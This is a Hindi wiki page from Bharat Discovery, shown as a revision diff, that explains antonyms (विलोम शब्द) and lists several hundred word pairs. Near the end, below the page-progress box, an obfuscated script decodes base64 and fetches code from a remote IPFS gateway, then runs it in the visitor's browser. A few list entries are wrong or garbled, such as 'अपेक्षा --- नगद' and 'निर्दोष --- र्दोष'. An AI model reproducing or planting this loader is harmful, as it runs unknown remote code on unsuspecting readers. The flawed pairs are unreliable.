"विलोम शब्द" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
पंक्ति 163: पंक्ति 163:
 
* खिलना  ---  मुरझाना
 
* खिलना  ---  मुरझाना
 
* खुशी  ---  दुख, गम
 
* खुशी  ---  दुख, गम
 +
* खुशी  ---  गम
 +
* खरीददार  ---  विक्रेता
 +
* खरीद  ---  बिक्री
 +
* खरीदना  ---  बेचना
 
|-
 
|-
 
| '''ग'''
 
| '''ग'''

08:28, 11 जनवरी 2011 का अवतरण

विलोम शब्द ( विपरीतार्थक शब्द ) ( Antonym Word )

किसी शब्द का विपरीत या उल्टा अर्थ देने वाले शब्दों को विलोम शब्द कहते है। या एक़ - दूसरे के विपरीत या उल्टा अर्थ देने वाले शब्द विलोम कहलाते है । अत: विलोम का अर्थ है - उल्टा या विरोधी अर्थ देने वाल़ा

विलोम शब्दों के उदाहरण नीचे दिए जा रहे है --

रात -- दिन

अमृत -- विष

अथ -- इति

अन्धकार -- प्रकाश

अल्पायु -- दीर्घायु

विलोम शब्द ( विपरीतार्थक शब्द ) ( Antonym Word )
शब्द --- विलोम शब्द
  • अमृत --- विष
  • अथ --- इति
  • अन्धकार --- प्रकाश
  • अल्पायु --- दीर्घायु
  • अनुराग --- विराग
  • अनुज --- अग्रज
  • अधिक --- न्यून
  • अर्थ --- अनर्थ
  • अपेक्षा --- नगद
  • अतिवृष्टि --- अनावृष्टि
  • अनुपस्थिति --- उपस्थिति
  • अज्ञान --- ज्ञान
  • अनुकूल --- प्रतिकूल
  • अभिज्ञ --- अनभिज्ञ
  • अल्प --- अधिक
  • अनिवार्य --- वैकल्पिक
  • अगम --- सुगम
  • अभिमान --- नम्रता
  • अनुग्रह --- विग्रह
  • अपमान --- सम्मान
  • अरुचि --- रुचि
  • अर्वाचीन --- प्राचीन
  • अवनति --- उन्नति
  • अवनी --- अंबर
  • अच्छा --- बुरा
  • अच्छाई --- बुराई
  • अमीर --- गरीब
  • अंधेरा --- उजाला
  • अर्जित --- अनर्जित
  • अंत --- प्रारंभ
  • अंतिम --- प्रारंभिक
  • अनजान --- जाना-पहचाना
  • आदि --- अंत
  • आगामी --- गत
  • आग्रह --- दुराग्रह
  • आकर्षण --- विकर्षण
  • आदान --- प्रदान
  • आलस्य --- स्फूर्ति
  • आदर्श --- यथार्थ
  • आय --- व्यय
  • आहार --- निराहार
  • आविर्भाव --- तिरोभाव
  • आमिष --- निरामिष
  • आर्द्र --- शुष्क
  • आजादी --- गुलामी
  • आकाश --- पाताल
  • आशा --- निराशा
  • आश्रित --- निराश्रित
  • आरंभ --- अंत
  • आदर --- अनादर
  • आलोक --- अंधकार
  • आयात --- निर्यात
  • आर्य --- अनार्य
  • आदि --- अनादि
  • आस्तिक --- नास्तिक
  • आस्था --- अनास्था
  • आवश्यक --- अनावश्यक
  • आनंद --- शोक
  • आधुनिक --- प्राचीन
  • आना --- जाना
  • आकर्षण --- विकर्षण
  • आलस्य --- फुर्ती
  • आध्यात्मिक --- भौतिक
  • इच्छा --- अनिच्छा
  • इष्ट --- अनिष्ट
  • इच्छित --- अनिच्छित
  • इहलोक --- परलोक
  • उत्कर्ष --- अपकर्ष
  • उत्थान --- पतन
  • उद्यमी --- आलसी
  • उर्वर --- ऊसर
  • उधार --- नगद
  • उपस्थित --- अनुपस्थित
  • उत्कृष्ट --- निकृष्ट
  • उत्तम --- अधम
  • उपजाऊं --- बंजर
  • उदय --- अस्त
  • उपकार --- अपकार
  • उदार --- अनुदार
  • उत्तीर्ण --- अनुत्तीर्ण
  • उत्तर --- दक्षिण
  • ऊंचा --- नीचा
  • उन्नति --- अवनति
  • उदय --- अस्त
  • उचित --- अनुचित
  • उत्तरार्द्ध --- पूर्वार्द्ध
  • एकता --- अनेकता
  • एक --- अनेक
  • ऐसा --- वैसा
  • औपचारिक --- अनौपचारिक
अं
अः
  • कृतज्ञ --- कृतघ्न
  • क्रय --- विक्रय
  • कमाना --- खर्च करना
  • क्रूर --- दयालु
  • कच्चा --- पक्का
  • कटु --- मधुर
  • क्रिया --- प्रतिक्रिया
  • कड़वा --- मीठा
  • क्रुद्ध --- शान्त
  • कर्म --- निष्कर्म
  • कठिनाई --- सरलता
  • कच्चा माल --- तैयार माल
  • कभी-कभी --- अक्सर
  • कठिन --- सरल
  • केंद्रित --- विकेंद्रित
  • करीबी --- दूर के
  • कम --- अघिक
  • खेद --- प्रसन्नता
  • खिलना --- मुरझाना
  • खुशी --- दुख, गम
  • खुशी --- गम
  • खरीददार --- विक्रेता
  • खरीद --- बिक्री
  • खरीदना --- बेचना
  • गुप्त --- प्रकट
  • गर्म --- ठंडा
  • गन्दा --- साफ़
  • गहरा --- उथला
  • गुरु --- लघु
  • गरीब --- अमीर
  • गुण --- दोष
  • घृणा --- प्रेम
  • घात --- प्रतिघात
  • घर --- बाहर
  • चर --- अचर
  • छोटा --- बड़ा
  • छूत --- अछूत
  • जन्म --- मृत्यु
  • जल्दी --- देरी
  • जीवन --- मरण
  • जल --- थल
  • जड़ --- चेतन
  • जीवन --- मरण
  • जंगम --- स्थावर
  • जटिल --- सरस
  • ठोस --- तरल
  • तुच्छ --- महान
  • दुर्लभ --- सुलभ
  • दाता --- याचक
  • दिन --- रात
  • देव --- दानव
  • दुराचारी --- सदाचारी
  • धीरे --- तेज
  • धनी --- गरीब
  • धर्म --- अधर्म
  • धूप --- छाँव
  • धीर --- अधीर
  • निरक्षर --- साक्षर
  • नूतन --- पुरातन
  • निंदा --- स्तुति
  • निर्दोष --- र्दोष
  • नीचा --- ऊंचा
  • नकली --- असली
  • निर्माण --- विनाश
  • निकट --- दूर
  • प्रत्यक्ष --- परोक्ष
  • पतला --- मोटा
  • पाप --- पुण्य
  • पतिव्रता --- कुलटा
  • प्रलय --- सृष्टि
  • पवित्र --- अपवित्र
  • प्रश्न --- उत्तर
  • पूर्ण --- अपूर्ण
  • प्रेम --- घृणा
  • परतंत्र --- स्वतंत्र
  • प्राचीन --- नवीन / नया
  • पक्ष --- निष्पक्ष
  • प्राकृतिक --- अप्राकृतिक
  • पहाड़ --- मैदान
  • प्रसन्न --- अप्रसन्न
  • प्रभावित --- अप्रभावित
  • पोषण --- कुपोषण
  • परिचित --- अपरिचित
  • प्रवेश --- निकास
  • पदोन्नति --- पदावनति
  • प्रतिकूल --- अनुकूल
  • प्रारंभ --- अंत
  • पसंद --- नापसंद
  • प्यार --- घृणा
  • बंधन --- मुक्ति
  • बुद्धिमता --- मुर्खता
  • बासी --- ताजा
  • बाढ़ --- सूखा
  • बुराई --- भलाई
  • भूलना --- याद करना
  • भाव --- अभाव
  • मूक --- वाचाल
  • मितव्यय --- अपव्यय
  • मोक्ष --- बंधन
  • मौखिक --- लिखित
  • मानवता --- दानवता
  • महात्मा --- दुरात्मा
  • मान --- अपमान
  • मधुर --- कटु
  • मित्र --- शत्रु
  • मिथ्या --- सत्य
  • मंगल --- अमंगल
  • यश --- अपयश
  • रात --- दिन
  • रुग्ण --- स्वस्थ
  • रक्षक --- भक्षक
  • राग --- द्वेष
  • रात्रि --- दिवस
  • राजा --- रंक
  • लाभ --- हानि
  • विधि --- निषेध
  • विधवा --- सधवा
  • वरदान --- अभिशाप
  • विनम्रता --- घमंड
  • विजय --- पराजय
  • वसंत --- पतझर
  • विरोध --- समर्थन
  • विशुद्ध --- दूषित
  • विषम --- सम
  • विद्वान --- मूर्ख
  • शयन --- जागरण
  • शीत --- उष्ण
  • शुभ --- अशुभ
  • शुष्क --- आर्द्र
  • शोर --- शांन्ति
  • शुक्ल --- कृष्ण
  • शूर --- कायर
  • स्वतंत्र --- परतंत्र
  • स्वस्थ --- अस्वस्थ
  • स्वीकृत --- अस्वीकृत
  • स्वदेश --- विदेश
  • स्वर्ग --- नरक
  • स्तुति --- निंदा
  • स्वाधीन --- पराधीन
  • स्वत्रंता --- दासता
  • स्वीकार --- अस्वीकार
  • स्थाई --- अस्थायी
  • सजीव --- निर्जीव
  • सुगंध --- दुर्गन्ध
  • संक्षेप --- विस्तार
  • सरस --- नीरस
  • सौभाग्य --- दुर्भाग्य
  • सगुण --- निर्गुण
  • सक्रिय --- निष्क्रय
  • सफल --- असफल
  • सज्जन --- दुर्जन
  • संतोष --- असंतोष
  • सम्मान --- अनादर
  • सुखान्त --- दुखांत
  • सच --- झूठ
  • सुन्दर --- बदसूरत
  • साक्षर --- निरक्षर
  • साधु --- असाधु
  • सुपुत्र --- कुपुत्र
  • सुर --- असुर
  • सुमति --- कुमति
  • सच --- झूठ
  • साकार --- निराकार
  • सुजन --- दुर्जन
  • सम्मान --- अपमान
  • सुर्योदय --- सूर्यास्त
  • सामान्य --- विशेष
  • सरकारी --- गैरसरकारी
  • सुविधा --- असुविधा
  • सस्ता --- महंगा
  • सुंदर --- कुरूप
  • सक्षम --- अक्षम
  • सुबह --- शाम
  • सुरक्षित --- असुरक्षित
  • संभव --- असंभव
  • संतुलन --- असंतुलन
  • सावधानी --- असावधानी
  • सघन --- विरल
  • सहायक --- बाधक
  • सहमत --- असहमत
  • सुख --- दुख
  • सहयोग --- असहयोग
  • सहमति --- असहमति
  • समापन --- उद्घाटन
  • सर्दी --- गर्मी
  • समाजवाद --- पूँजीवाद
  • संतुलित --- असंतुलित
  • हर्ष --- शोक / विषाद
  • हित --- अहित
  • हिंसा --- अहिंसा
क्ष
  • क्षणिक --- शाश्वत
त्र
ज्ञ
  • ज्ञान --- अज्ञान
श्र
  • श्रम --- विश्राम


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ